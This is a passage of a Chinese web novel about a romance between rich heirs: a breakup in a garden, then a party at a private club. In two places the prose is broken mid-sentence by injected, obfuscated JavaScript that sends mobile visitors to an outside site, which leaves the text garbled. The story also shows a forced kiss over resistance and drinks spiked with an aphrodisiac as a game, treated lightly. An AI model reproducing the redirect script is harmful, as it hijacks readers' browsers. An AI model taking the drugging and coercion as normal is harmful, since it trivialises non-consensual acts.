何冲霆和何厉风兄弟俩在加州共同经营着一座马场,何冲霆是国内最大的医疗保健与生物制药科技公司——瑞伯恩集团的法定继承人,身份在跳级天才学生与管理层副经理之间来回切换,何厉风则在英国有一座专门团队在打理的庄园,全年靠游客观光收入就可达数百万英镑。 小道消息称,何厉风按家族计划本该被送往英国,因为父亲何永州不想让他和哥哥走得太近,那座庄园资产算是何永州给二儿子定下的最终归宿,但没曾想俩兄弟关系好,最后还是挤到一块儿去了。 戚时就给庄园主人泼了两盆冷水,把人弄醒,然后给他买了一份双层深海鳕鱼堡加可乐,递到人面前,说一句“给老子吃了,配送费十六块钱呢”,这就算是道歉了。 何厉风咬着牙,忍辱负重地盯着戚时那张脸看了五六秒。 第七秒扛不住了,一屁股坐地上,终于泄气。 他垂下头,抬手接过汉堡袋,说:“好吧,我原谅你了。” 然后转身就把鳕鱼堡给投垃圾桶了。 他这辈子再也不想见到、或者吃到任何鱼类! 夜风吹起,更深露浓,吹动眼前少年乌黑的额发刘海。 戚时无暇欣赏,一胳膊把何厉风提起来,然后扭头去瞧走廊里站着的另一个人的头发。 印象里,他们每一次分别再见面,何湛程都打扮得这么花里胡哨。 嗯,可能少爷本身就是这个样子,只是和他戚老二在一起时,人家更愿意扮成他喜欢的乖乖邻家男孩的形象。 戚时将何厉风扔一边,大步重新朝何湛程走过去。 他扬着眉,将人从刘海那几缕挑染的白毛、到脚底一尘不染的漆黑短靴细细打量一番,然后唇角一勾,冲人调笑着:“哟,不是说病了么?这给你潮的,老子风湿病都要犯了,怎么,今晚准备出道啊?要不要考虑一下签我们擎荣影视啊?大——少——爷——” “大少爷”三个字的音调拉得很长。为了故意膈应对方。 何湛程成功被恶心到了。 他不甘示弱,冷笑着回击:“谁稀罕为了那仨瓜俩枣给你卖命?还有你个老东西,有病了就去治,哪来那么多自作多情的理由,还那么不要脸的拿着本少爷当借口?你当你是谁?” 戚时冷笑一声:“还不是都赖你!” 何湛程也冷哼:“关我屁事?” 戚时执着道:“就关你事!都是你的事,都赖你!” 何湛程莫名其妙:“你有病吧?” 戚时双手抱臂,双目紧紧凝视着他,认真的神情像一个讨债鬼:“你说了,你会对我负责。” 一道惊雷平地炸起,众人满皆哗然,连旁边裴玉都怔愣了一下。 何湛程凉笑一声:“那好啊,你现在跪下给本少爷磕三个响头。” 戚时气笑了。 这是他的口头禅,不知道什么时候让何湛程给学了去,现在这个小东西不自觉地讲出来,他竟然会觉得他的程儿还是那么的可爱。 戚时缓缓俯身压上何湛程的肩头,湿热嘴唇轻轻摩擦着对方细腻脸庞上轻柔的绒毛,他喉结滚动着,压声道:“程儿,你现在当着所有人的面亲我一下,我们之间的帐一笔勾销。” “待会儿你跟我回家,以后我每天都归你操。” 何湛程斜瞥他一眼,语气平静,嗓门大声:“不好意思啊,我现在不想跟你这种有风湿病的老年人上床。” 戚时:“………………” 一帮竖着耳朵偷听的吃瓜群众也当场石化在原地。 这、这这……这两位私下这么劲爆的吗? 而且貌似戚总裁似乎还是下面的那个?!!! 天哪!!!! 一众八卦党瞬间热血沸腾起来,不约而同地咧起嘴,纷纷摸出手机,心情急切地要将这个爆炸性新闻给自己的狐朋狗友七大姑八大姨三舅姥爷们扩散出去。 “来人!”戚时冷凛的声线在众人头顶响起,“把他们所有人的手机和一切通讯设备全没收了!” 四个保镖模样的人闻声现身,动作犹如龙卷风一般,迅疾而强势,众人只是眼前黑了一下,手里刚掏出的手机、腕上佩戴的电子手表、偷藏在襟口胸针里的微型针孔摄像头、像黑曜石一样闪亮的项链电子眼……一切他们能想到的录像设备,眨眼之间,全都装进了人家的黑布袋。 再一抬头,所有人—— 除了何湛程的东西,全被拎在了戚时手里。 众人心有不满,大声抗议起来! 他们在自己的小圈子里也都是群皇帝呢,什么时候被人这么不放在眼里过? 纷纷扭头看向何湛程,要求三少给大家做主。 三少一副事不关己高高挂起的表情,冲他们眉梢一挑,说:“看我干什么?这里是私人会所,本来就不让人乱拍照,还有你们几个——” 他手指点向那几个身上戴着微型摄像头、一脸风流邪相的二世祖们,冲他们笑得一脸温柔:“你们几个藏这么深,今夜里是准备拍本少爷点儿什么啊?” 吕薇一听这话,立刻站得离那几个男人远了点儿。 不管他们想拍什么,如果何湛程是男主角,她定然就是女主角。 她只想找个地位稳固的靠山,从何湛程手里换取点资源,她可不准备以“丑闻当事人”的身份上登上明早的娱乐头条。 那几个人连忙尴尬摆手笑:“不敢,不敢。” “行了,”何湛程满不在意一挥手,“你们几个滚吧。” 顺手搭上吕薇冰凉凉的裸肩,将人揽在怀里,另一手指抬起,轻轻拨弄着她的头发,语气万般怜爱:“真是的,看把我们小艾吓的,脸都白了。” 吕薇冲他勉强一笑,也不敢说自己冷。 何湛程脾性喜怒无常,大部分时候比较绅士,不像是会打女人的类型,但…… 但何湛程对面那位脸色极臭的老情人,一双深眸刀片子似的,正凶狠狠地剜着他俩。 吕薇感觉这人会随时冲过来把她一脚踹飞,然后化身成一个讨宠的男妲己,摇着尾巴,一头扎进何纣王的怀里。 她刚才瞄见这个男妲己借着说悄悄话的功夫,偷偷吻了一下纣王的脸。 纣王也在那一瞬间闭了下眼,松开了她的手。 她知道纣王的心跳也漏了一拍。 吕薇是识相的,自从戚时一出现,她就尽量避免和何湛程亲密接触,以希望能获得戚时的几分好感,得到对方的青睐。 如果能签入国内头部的娱乐公司…… 这是她们学院多少学生梦寐以求的事? 她才管不着何湛程心里到底装着谁。 她现在的新任务,是讨好她未来的老板。 而且,惹毛何湛程,可比讨好何湛程容易多了。 “三少,”吕薇低头,“我身体不舒服,想先走了。” 何湛程一顿,忍着眉头皱起,手指挑起她下巴,以为自己没听清,问她:“你说什么?你再说一遍。” 吕薇被迫抬着下巴,紧张地咽咽吐沫,求助的眼风瞟向戚时。 戚时立刻就懂了。 他横身过来,宽阔的肩膀挡在吕薇面前,一把攥住何湛程的手指,冲人笑得轻挑:“干嘛啊,对人家女生这么凶,这可不是你的风格。” 何湛程一脸嫌恶地抽回手,瞪他:“有你什么事儿?少在这里装烂好人!” “好人就是好人,坏人就是坏人,你二哥我一向光明磊落,什么时候当过‘烂好人’?” 戚时眸底含笑,从裤兜摸出一辆商务奔驰的车钥匙,扬手抛给立在旁边的裴玉,下巴冲门外一抬,吩咐:“小裴,去,开我的车,把这位小姐安全地送回家。” 小裴正满眼满心冒着粉红泡泡,全神贯注地对着他家三少发痴呢,冷不丁被点名,一脸不情愿地冲戚时指了下自己:“我?” 他现在是红人了好吧? 还是刚从美国受苦受难回来的可怜人。 他早就过了给老板跑腿打杂当马仔的阶段了!!! 戚时不容置喙:“废话!” 裴玉没招儿,叹了口气,脱下自己的外套,走过来披到吕薇的肩膀上。 因为二人靠得极近,吕薇穿着很大胆,他便扭头别向一旁,对面前的空气说:“你跟我走吧。” 吕薇轻轻“嗯”一声,临走前跟戚时打招呼:“多谢戚总了。” 戚时从布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666286|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋里掏出她的手机还给她,说:“小事儿。我见你脸熟,叫什么名儿来着?” 吕薇笑眼弯起,接过手机,自我介绍道:“我叫吕薇,燕京电影学院23届本科表演系,您随便找个人去我们学校打听一下就能找到我了。“ 戚时点点头:“知道了。” 吕薇还不走,脚跟定在他面前似的,努力争取道:“那个,戚总,您最近忙吗?” 戚时一挑眉:“怎么?” 吕薇笑得爽利:“等您有空了,我想请您吃饭!我们学校附近有一家烤羊腿特别好吃,一般人我还不告诉他呢!” 戚时也笑了,他就喜欢这种漂亮又机灵的手下,有前途! 他这次给她一个肯定的回答:“行,那就下周吧,不过我最近没空,叫裴玉请你吧。你俩吃完饭——小裴,”他对裴玉交代道:“你再领她去公司转转,看看适不适合。” 转头又对吕薇说:“如果我们双方都满意的话,再详谈下一步。” 裴玉对吕薇伸出手,笑意平和地自我介绍:“你好,我是裴玉。” 吕薇大喜,她当然认识裴玉了! 立刻伸出双手与人紧握,恭敬弯腰道:“裴哥好!” 又扭身冲戚时鞠了个躬:“谢谢戚总!” 戚时倦了,一扬手,裴玉带着吕薇消失在夜色里。 一下子送走两个情敌。 完美! 完美个屁! 妈的,曾经唾手可得的人,现在恨不得跑断腿才能见上一面,他还要像打地鼠一样,一脸警惕地蹲守在对方身前,孜孜不倦地举着小锤子,时时刻刻防备着新出现在对方身边的花样情人,还要绷紧神经,全副武装地戒备这个不让人省心的祖宗不要再在他背后搞出新的幺蛾子,这特么谁受得了! 戚时强忍着心酸,闭眼缓了几秒。 然后扭头去看何湛程,装个没事儿人一样,冲人一脸炫耀地笑起来:“怎样?你接着去撩啊,你撩到多少个人,老子就能给你整走多少个人!” 何湛程也笑,他会在乎这些么? 当然不会。 他甚至因为现在人少了几个,正式对戚时发出了邀请: “我们要去喝酒打球,你一起么?” 戚时爽快地点头:“行啊!” 何厉风跳出来搅混水,积极提议道:“时哥,你再叫几个男模,咱们大伙儿热闹热闹啊!” 戚时毫不客气一巴掌将人呼开:“小孩儿闪一边儿去别捣乱!” “怎么捣乱了?”何湛程笑道:“本少爷花两百万上这里来消遣,难不成就是为了跟你喝酒聊天看风景的?” 冲人一招手,说:“厉风,过来,不就是几个男模么,你时哥不给你点,三哥给点!” 何厉风一瞅他三哥这火力全开的架势,心里简直要乐疯了!嬉皮笑脸地说了句“还是我三哥好”,然后屁颠屁颠就跑到了何湛程的身旁。 现在场面对峙形势是1:10。 戚时队,1人; 何湛程队,10人。 毫无悬念戚时队完败。 戚时火气蹭一下上来,怒气冲冲瞪向何湛程,大嗓门冲人喊:“你点吧,你尽管点!老子倒要看看,就在老子眼皮子底下,你小子能整出什么花样来!” 何湛程浅浅笑着,一脸不甚在意的样子,步履也轻飘飘的,如微风过境,只在余地留下一阵淡淡的草木清香。 一众人与戚时擦肩而过。 戚时站在原地,蹙着鼻头,好奇地嗅着人家刚才站过位置弥留下的香水味。 有一说一,少爷品味没得挑,今晚的香水味还挺好闻的,似乎是松木香的前调,和他常用的香水味很相似。 然后他就听到已经走远了的少爷突然朝着虚空一声召唤: “小艾,怎么磨磨唧唧的,快跟上啊。” 戚时以为自己聋了,绕着脚跟转了好几圈,他上看下看左看右看横看竖看,愣是没看见“小艾”在哪儿。 冷呵一声,正要嘲笑何湛程一句“是不是眼瞎,吕薇已经回去了”,就见前边何厉风笑嘻嘻又跑过来,冲他招手: “时哥!快来啊,我三哥叫你呢!” 戚时一脸不解,追上去问:“他刚才不是叫‘小艾’?” 何厉风点点头:“对啊,现在你是‘小艾’了!” 戚时疑惑皱眉,打听着:“这个‘小艾’,有啥说法没?” 何厉风托腮严肃地想了一下,然后一本正经道:“有是有,但你得亲我一下,我才告诉你!” 戚时又气又笑,刚要抄巴掌给这小子点教训,对方脑瓜子就已经被人赏了个大爆栗。 “啊!”何厉风捂着脑袋吃痛叫出声。 何湛程收回手,站在他身后冷声警告: “我说过没有,我碰过的人,你不准碰。” “就算是我不要的东西,也轮不上你。” 何厉风耷拉下脑袋:“知道了。” 何湛程抬眼看向戚时:“你现在就给他买机票,不用考虑时差,有几点的就飞几点的。” 戚时点头:“行,我马上安排。” 何湛程又扭头看何厉风:“待会他的人会送你去机场,你以后再敢不打报告就回来,干脆就滚去英国,下半辈子守着你的庄园酿你的葡萄酒算了!” 何厉风无奈:“好吧,那我哥那边——” 戚时说:“裴玉是我的人,我会去说。” 何厉风点点头。 戚时看向何湛程:“不管在国外怎样,他在国内都还是个小孩儿,你别老领着他花天酒地的,要不我派人送他去睡会儿吧?” 何湛程瞥他一眼:“怎么,你还心疼上了?” 戚时一笑,抬手安抚般摸了下他的头:“你看你,你堂弟不就是我堂弟么?” 何湛程表情淡淡:“随便你。” 戚时招手就叫来俩门童,让他们把何厉风带下去休息。 “不是,不是?”何厉风一脸懵逼被人带走,一步三回头地嚷嚷:“你们两口子怎么能三两句话就随意决定本少爷的去留呢?!” “还有!三哥!三哥我男模呢?!”何厉风急得蹦蹦跳跳着冒头喊:“三哥!你刚答应过让我看男模的!!三哥——!!你不能因为时哥的一句话就改变心意啊三哥!!” “三哥!你要坚定一点啊!” “三哥!!我的男模——!!” 聒噪不休的少年逐渐远去。 现在夜风微凉,长廊幽静,树影婆娑,整个庭院里就剩下他们两个人。 戚时瞟了一眼何湛程,忍不住挪着小碎步靠过去,肩膀轻撞对方一下。 何湛程一挑眉:“怎么?” 戚时咽咽吐沫,目不转睛地盯着他的侧脸,脸微微红着,小声说:“你今天……真的很帅。” 何湛程不屑一笑:“本少爷哪天不帅?” 然后迈步转身离开。 戚时眼神一暗,突然出手,大力攥住对方手腕。 何湛程眉头刚皱起,正要呵斥,身后戚时猛地使劲,一把将他搂进怀里,俯身吻上去。 “干什么!”何湛程别过脸,不悦地挣扎起来。 “行使作为你男人的基本权利!” 戚时呼吸急促,将怀里人死死禁锢着,手掌摁着何湛程的后脑勺,迫使对方不得不与自己接吻。 “嘶——”何湛程皱眉痛嘶一口气。 “湛程……湛程你好香,你身上还留着我的味道,你还舍不得我呢,是不是?” 戚时急不可耐地侵掠进对方舌齿之间,肘臂完全压制住怀里人窄瘦的后腰,掌心发狠地揉捏着何湛程的*,手臂青筋暴起,恨不得将对方揉进自己的胸膛。 他两眼发红,吻得疯狂,吻得上气不接下气,二人激烈舌吻交缠流下的涎*水……有一种淡淡的薄荷甜味,夜空月亮皎洁,洒落庭院一地冷清,将他与他舌尖拉出的几道暧昧yin|靡的水丝照得银亮而清晰,然后,那分不清谁是谁的津液被搅动下来,沿着何湛程光洁白皙的下巴淌落到戚时黑衬衣的领口,沾湿他襟口一片。 戚时闭眼,睁眼,喉结上下滚动、滚动、不停滚动,喘息愈烈,欲念愈深! 他贪婪地索取着,逼迫着、胸膛起伏着,他对他的程儿简直爱到欲罢不能! 他们闭着眼额头相抵,鼻息杂糅,彼此紧拥,各自忘情。 戚时感受到何湛程出于身体本能的回应,愈加疯魔地追吻过去,趁机对人挽留表白:“湛程,哥哥也爱你,我也还爱着你呢宝贝儿!!!哪怕你可怜我,你就可怜可怜我吧!!!!只要你肯待在我的身边,我做什么都愿意!为你死了都愿意!!” “那你就去死啊!” 何湛程在险些沦陷进去的最后一刻幡然醒来,惊觉自己居然和这个早上刚羞辱过自己的人抱在一起热吻,立刻恼羞成怒起来。 他扬手“啪”的一巴掌扇人脸上,骂道:“滚!我们已经分手了!这次是真的分手了!我没跟你开玩笑!!” 戚时脸被扇到一边,口腔右壁也被咬出了血,头一次听到何湛程这么认真决绝跟他讲分手的话,他通红的眼眶一下子就湿润了。 “香水是为了接近我的新目标才换的,他叫李天涯,在我回美国之前,我和他会在京城度过一段很美好的时光。” 何湛程面无表情盯着男人簌簌掉落的泪珠,强忍着突如其来的心脏绞痛,一字一顿地对人撂着狠话: “戚时,别自作多情了,从你为了一个无关紧要的外人羞辱我的那一刻开始,你对我而言就已经是过去式了。” 65.第65章 私人豪华的夜总会大厅,光滑如镜的大理石地板,百来平的精致高档装潢,黑金格调商务风,台球桌、棋牌桌、点歌台、巨型铁艺拍卖品摆件、三百来万的古董画、吧台、陈列满当的酒柜……正中央如同在大平层客厅,三面纳图兹真皮沙发,100寸超大屏液晶电视,一应俱全。 绕过的独立盥洗室,经过一面斑斓彩色的玻璃金鱼缸,拐角是一间环境优雅静谧的私人茶室,茶室对面房间,是戚时自己的休息室。 休息室和正式主卧没什么区别,屋内最大物件是一张三十来万的双人大床。 何湛程抱臂站在门外,盯着那张铺着深灰四件套的名贵床榻,一想到戚时曾经跟数不清个女人在上面激烈酣畅地滚过床单,他心里就涌起无限的恶心。 何湛程忍不住翻了个大大的白眼,抬腿重重一脚,“砰”地踹关上门,扭头对身后和他一起来参观的几个人说:“没什么好看,走,继续回去喝酒。” 这地方是戚时自己平时消遣的地方,鲜少带熟人来玩儿,今天是为了庆祝何湛程和他正式分手—— 嗯,本来二人亲热时氛围挺好,他莫名其妙就被扇了一巴掌,戚时低着头,看着模糊了一地的细碎月光,簌簌落了几分钟的泪,从此再没说过半句软话。 戚大总裁认为他乃真男人是也,情绪很快调整过来,知道何湛程有了新的暧昧对象,颇为潇洒痛快,说:“分手就分手,下一个更久!” 然后双手一挥,重整衣衫,大步昂扬一转身,“砰”一头狠狠撞在身后的汉白玉大柱上,白皙发亮的脑门磕了个满头红,一时高兴得有点神志不清了。 戚大总裁失踪了半小时,换了套衣服,又抹了点擦伤药,额头缠着一方白纱布,然后像刚吃过亢奋药一样,情绪异常激动地蹦出来,热情张罗着大伙儿干脆去他那儿好了,大嗓门嚷着:“江山府开个台最低消费二十万起,你们何三少虽然不差钱,总归是个伸手找家里要零花的学生,现在大半夜的不好好学习,带着一帮子人跑到我戚老二的地盘儿上喝酒泡妞,我这个做哥哥的不请客,未免显得我太小气了!” 何湛程懵了几秒,抄起手边花瓶朝人砸过去,骂他一句“神经病”! 戚时把何湛程订的包厢给封了,半强制地领着他们过来,该摆的酒都摆上,该点的男模,无论是腹肌饱满的壮硕型男、书卷气浓的清冷男神、还是媚眼如丝的男妖孽、清纯可爱的邻家男孩儿……十多号风格各异的男模进屋陪酒,连屋内最帅的几个人的颜值都险些被平均进去了。 戚总裁仰头怒灌半瓶威士忌,大臂一挥,亲自为何三少挑了四五个清纯男大,命他们全部将头发打理成三七分微分碎盖,穿白衬衫打领带脚踩红帆布鞋,腰间悬挂珍珠链,撩起衣摆,一个接着一个排着队到何三少面前分别去撅屁股扭两下。 何湛程当时喝多了刚从厕所吐过一轮出来,浑身冷汗,屁股刚挨上坐垫,正揉着太阳穴准备靠着沙发休息一会儿,身旁突然黏上来一群东施效颦的、不停冲他搔首弄姿抛媚眼的小白脸,乌泱泱的,一身香水脂粉味儿,烦得他不行。 斜对面,某个醉鬼拎着瓶威士忌、正醉意迷离地倚靠在墙角看热闹,见自己成功被他羞辱到了,那人立刻捂着肚子狂笑起来。 何湛程被气得脑袋发懵,“啪”的一巴掌重重拍在桌子上,起身就要冲过去把戚老二这个狗畜生给狠狠收拾一顿,没料身子倏地一晃,他站立不稳,猝然的急火攻心,喉腔涌上一阵尖锐的刺痛,呛得他一口气喘不上来,险些原地晕过去。 他低头扶着桌角剧烈咳嗽起来,额头大汗如豆,身旁人忙递来纸巾,何湛程埋头紧紧地捂着嘴,颤着肩膀忍痛猛咳。 如此狼狈地被一群人注视着,心中十万个不自在,何湛程咳过劲儿去,烦躁一甩手,雪白柔软的纸巾流淌过几道鲜红的血丝,飘到空酒瓶堆积如山的桌角—— 一个烟头满得快要冒出来的玻璃烟灰缸里。 孤身一人的角落里,喝多了的醉鬼眼睛敏锐地眯起,终于清醒过来。 他站在原地沉默几秒,一挥手,又把当下嬉笑怒骂玩得正嗨的男模们全都轰走了。 凌晨四点钟,室内灯影迷离。 有个整夜坐在点歌台旁的麦霸,丝毫不觉气氛突然冷清下来,仍旧自我陶醉地嚎嗓子唱歌,唱到某句,痛到深处,BGM高亢起来,他分贝猛增八十度,听得何湛程眉心紧锁,愈发头疼欲裂。 何湛程嗓音沙哑,喊不出声,俯身扒拉在桌前挤满的酒瓶子里,正要抄个顺手的饮料瓶朝那狗崽子扔过去,叫那小子别他妈唱了,嘈杂喧嚷的大厅登时一静。 何湛程愕然抬头。 点歌台前,戚时迈着大步冲过去把电视线给拔了,麦霸小子浑然不觉,抱着话筒狂嚎了两嗓子,这才发现BGM没了,歌儿唱得有点干,不爽地嚷了句“艹,谁干的!”,一睁眼,正对上脸色更加阴沉的戚时,吓得手腕一抖,没忍住咽咽吐沫。 “别唱了,”戚时甩手将线头扔电视柜上,瞥他一眼,“玩点儿温和不刺激的。” 麦霸干咳一声,扭着脸看向旁边一群人。 旁边是台球桌,四五个正谈笑风生的二代三代们见势不妙,纷纷放下球杆,话不敢说了,球也不敢打了,一副束手就擒的乖乖样儿,生怕戚时嫌他们不懂事,也把他们给送走。 要是最开头,人家赶走就赶走吧,现在通宵都快结束了,感情的桥梁都快建立起来了,如果冷不丁被人家看不顺眼,那多没面儿啊! 于是有人小声建议:“那要不……大伙儿一起看会儿球赛?” 有人立刻附和:“我看行!今晚德国对战阿根廷,我前两天押了德国队两万呢!” 又一人忙道:“我也押了,那咱就看球赛吧!” 众人集体附和:“对对对,看球赛,看球赛!” 麦霸不满意了,皱眉道:“诶不是,你们这帮孙子怎么回事儿,就我一个人赌阿根廷赢啊??说好今年指定会爆冷门呢?” 另一个人闻声拍腿大笑,幸灾乐祸道:“哈哈哈哈阿根廷赔率4.5,回头等着亏死吧你!你现在零花都没多少吧!诶!我跟你们说——” 他转头面向众人,毫不客气地出卖着麦霸的黑历史:“前两天他去德州打扑克,人刚坐上牌桌,屁股还没捂热呢,派出所那帮人就冲进来了,这小子一脸懵逼地就被带去做笔录了,凌晨五点才被放出来,然后!然后!!哈哈哈哈他就被临时冻结资产了,还不敢跟家里人说,身上连个打车费都没有,这小子三更半夜打电话找我要钱,吓得我还以为他被绑架了呢!” 麦霸一脚飞踢过去让他滚:“你爷爷我爱把钱往哪儿扔就往哪儿扔,管得着么你!你个孙子,找你要三千还得让老子打视频人脸验证,电话一打打俩小时,废话一堆半句不在点子上,抠死你算了!” 那人叫章政礼。 章政礼“嗐”一声,仰身往球台上一靠,笑得一脸玩世不恭:“三千块打车回京还不如我开车去接你呢,跟我住一块儿,酒店钱都替你省了!” 麦霸呵呵冷笑,扬手抄起饮料瓶朝人砸过去,骂道:“拈花惹草的一身骚味儿,谁乐意跟你一起住!” 一群人早知道麦霸和章政礼关系非比寻常,据说俩人从初中就是铁哥们,私下关系暧昧不清,高中毕业典礼上还当众接过吻,但他们明面上又坦坦荡荡,大伙儿也闹不清俩人究竟只是单纯喜欢打嘴炮,还是背地里真有过一腿。 麦霸本名秦颐儒,和章政礼的来头都不逊于何湛程,他俩也是燕大的学生,不过私下没何湛程这么浪,因为家里管束极严,这俩铁子还算是懂分寸的那类,平时人前端得仪表堂堂,一派家风严明世家子弟的做派,张口闭口“我党说过”、“为人民服务”、“爱国敬业,忠诚奉献”、“学习时代先锋,积极投身社会主义建设”……就差把党和人民这几个字刺在眉心上了,平时不怎么参加商K,更别提来江山府这种顶奢等级的私人会所了。 这次是何湛程起的兴头,先拉的秦少和章少,接着秦少和章少打电话摇人,人又喊人,一连串认识的不认识的全都来了,所以,他们这些“第三、四阶梯的人”,是没资格过问秦少和章少的私事,更不敢轻易开他俩的玩笑。 人家铁子搁那儿兄弟情深也好,打情骂俏也好,哪怕现在俩人抱在一起又亲上了,他们这些人也就配在旁边窸窸窣窣着哄笑凑个热闹。 虽然一帮子人玩儿疯了都互相搂着哥们弟兄的随便喊,但三少、秦少和章少,除非他们三个自己下场来搂人,否则没人敢上前去和他们三个勾肩搭背,大家喝得再醉、再神志不清,也只会碰自己认识的、同等及以下阶层的人。 简言之,这圈子里虽看似一团和气,其乐融融,实则等级森严,不容他们僭越半分。 遥遥隔着热闹说笑的人群,戚时和何湛程不禁抬头对视一眼,四目触碰的瞬间,电光火石,两人同时一顿,又都默契十足地别过了脸。 很久很久以前,他们也曾是人群里令人艳羡的主角。 而现在,他们是躲在别人故事角落里的、沉默黯淡的配角。 “诶,对了!”有人一拍脑门,扭头看向何湛程,“三少也买了不少吧?你押的哪个队赢?” 何湛程端杯子喝了口水,嗓子好了些,说:“我现在不想看球赛。” 章政礼撂下球杆,歪头问他:“为啥啊?你不也是德国队球迷呢吗?” 何湛程顿了顿,正要开口随便扯个慌,另一边戚时突然放下酒瓶,“啪”的一声响,立刻吸引众人注意。 戚时脸上没太多表情,转头对章政礼说:“你们换个别的吧,我也对球赛没兴趣。” 戚时是东道主,大家对他不了解,虽然现在就算是瞎子都能看出戚总和何三少之间有猫腻,显然戚总在偏袒三少,但人家都话都说到这份上了,如果他们还要坚持,就显得他们这帮人太不识趣了。 秦颐儒爽快一点头,说:“那就换个别的呗!” 推手冲旁边人搡了两下,催促道:“老章,快!动动你那猪脑子想想,整点儿温和不刺激的活儿!” 章政礼想了想,对戚时建议:“那就整个桌游吧,咱玩儿真心话大冒险,时哥不嫌俗套吧?” 说罢,眯起眼,观察着戚时细微表情,见对方似乎颇为心动,但欲言又止,显然心有顾忌。 章政礼了然一笑,看出戚时是担心何湛程待会还要喝酒身子恐怕承受不住,于是追加了句:“这都快天亮了,咱玩儿几局就散,今夜酒早就喝够了,待会儿最后一场咱们都喝饮料得了!” 转身,象征性问一句身后一众人:“你们成不?” 众人也不傻,接二连三不耐烦地嚷嚷起来: “那肯定成啊!都什么点儿了,还喝个屁的酒啊!” “就是,谁大早起的还喝酒啊!待会儿要醉了,回去晕道儿上都没人捡!” “那必须啊!咱是懂法公民,喝多开车那叫醉驾!醉驾懂不懂!” …… …… 戚时便转头,看向坐在沙发上的人,问:“你想玩儿这个吗?” 何湛程笑起来,冲他一挑眉:“怎么,想套我话?” 戚时也笑,一脸无所谓地耸耸肩:“随你便,你也可以拒绝,咱们今晚就散了。” “不,咱们从此就散了。” 何湛程笑不出了。 他低下头,掌心捂着还剩半杯的温水,心头顿时涌起一阵怅惘与落寞。 尽管是他先说分手的,还动手打了人家,可他早已习惯整个世界围绕着他运行。他家财万贯,年轻又有智慧,他风流倜傥,仅凭一张脸,走到哪儿都是受尽瞩目的万人迷——他是全宇宙的中心! 无论他如何任性发飙、如何蛮横不讲理,身边人,尤其是他的枕边人,按理都应该始终忠诚不二地爱着他才对。 戚时怎么能轻言放弃呢? 怎么能在一夜之间变得这么冷漠决绝呢? 怎么可以因为他间歇性地厌倦和不耐烦,因为俩人几次稍微有点激烈的争吵,这人就真的转头离开呢? 就算他真的不爱戚时了,戚时也都该一生一世地追随他、迷恋他才对啊。 戚时每一次说不想要他了,都令他感到前所未有的无措与茫然。 “二哥,我错了。” “二哥,你怎么不继续挽留我啊?我出国之前专门来这里找你,不就是想再给你一个挽留我的机会么?你再努力一点啊!你光用嘴说有什么用?你再努力一点向我证明你真的很爱我,然后我就重新和你在一起了啊!” “二哥,你真的不要我了?真的?你不要你的乖崽儿了吗?” 嘴唇颤动着,犹豫再三,玻璃杯几乎要被攥碎了,他不知何时也变成个畏畏缩缩的胆小鬼,紧张、自卑、焦虑、还有莫名的鼻酸与委屈。 他强撑着最后的自尊,故作镇定地将脸埋在阴影里,又十分安静地喝了一口水。 当然,他没有将那几句话说出来。 全屋人都等着他,何湛程神思飘离了好半天才反应过来。 然后,他矜持地点了下头,口气却无比狂放:“行啊,不过喝饮料多没意思,还是罚酒吧。” 戚时皱眉,分手是一回事,他可不想让何湛程本来好好的一个身子毁在他手上。 正要开口说不如散局算了,那边章政礼翘起嘴角,扬声说了句“好办”,接着从衣兜里摸出两个白色的纸包,笑吟吟地夹在指间。 “一包‘送春潮’200g,半包就能起作用,两包一块儿倒进一瓶500ml的饮料,分十小杯装满,现在我们拿三瓶相同的饮料,算上掺药的十小杯,加起来一共三十杯。” “诶,不过咱先说好——” 章政礼笑眼一一扫视过在场众人,提醒道:“这三十杯不分有药没药,全掺乱了放一块儿,反正咱们谁输了就喝,谁要碰巧倒霉喝到三杯以上,谁就趁早滚蛋回家办事儿去,等三十杯喝完,咱们今天这局正好也就散了,咋样儿?” 众人一听,都觉得颇有意思,一副摩拳擦掌跃跃欲试的样子。 但他们的意见不重要,要说拍板儿做决定,还是得取决于这里的主人——戚时。 一群爱闹腾的小年轻纷纷将期待渴求的目光投向戚时。 戚时沉吟着,他还在掂量,这帮没大没小的兔崽子们搞得尺度太大,他自己怎样倒是无所谓,但如果何湛程也跟着他们一起乱来…… 如果何湛程当着他的面乱来,他不确定自己能不能忍得住不发飙。 对面,何湛程放下水杯,很干脆果断地说了句:“我没意见。” 戚时一顿,偏头看他一眼。 何湛程一挑眉,激将道:“戚总,不会到这种时候又玩儿不起了吧?” “怎么会?”戚时笑得轻松。 立刻一招手,叫来两个服务生摆真心话大冒险的桌游。 章政礼把那两包药劲儿强的春*药递给服务生,众人很懂规矩地回避。 等一切布置好,为营造暧昧的游戏氛围,室内光线调暗,偌大玻璃桌只在地图中间亮一盏昏黄小灯,众人在一片朦朦胧胧中依次入座,交谈声渐小,逐渐安静下来。 座位如同阶级,大家心照不宣地坐到属于自己的地方:戚总裁肯定是要和三少、秦少、章少坐一起,章少眼界不低,肯定会主动去挨着戚总裁而不是三少,至于他身旁另一个无人敢坐的空位,那自然是秦少的。 所以,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王二怂一身花哨衬衫大裤衩,剃着潮流的飞机头,两条花臂纹着“龙盘牡丹”的深色刺青,他脸型窄长,浓眉白脸,一双精明大眼被天生的肿眼泡覆盖,显得整个人很没精气神儿,即便他嘴角时常挂着淡淡笑意,也会给人一种疲惫至极、甚至他很苦命的感觉。 王二怂伸出他那只五颜六色的手去拨弄游戏的大转盘。 他是老江湖了,手法娴熟,只要他想,大转盘的指针就能准确无误地停到他想要停的位置。 今夜,他比较想知道戚总和何三少、章少和秦少这四个人的八卦。 哗啦—— 指针稳准狠地停到何湛程面前,王二怂笑了声,说:“三少,请吧。” 何湛程冷哼一声,伸手触向面前三十杯满满当当的茶色饮料,随便选了一杯,仰头喝了。 王二怂:“真心话还是大冒险?” 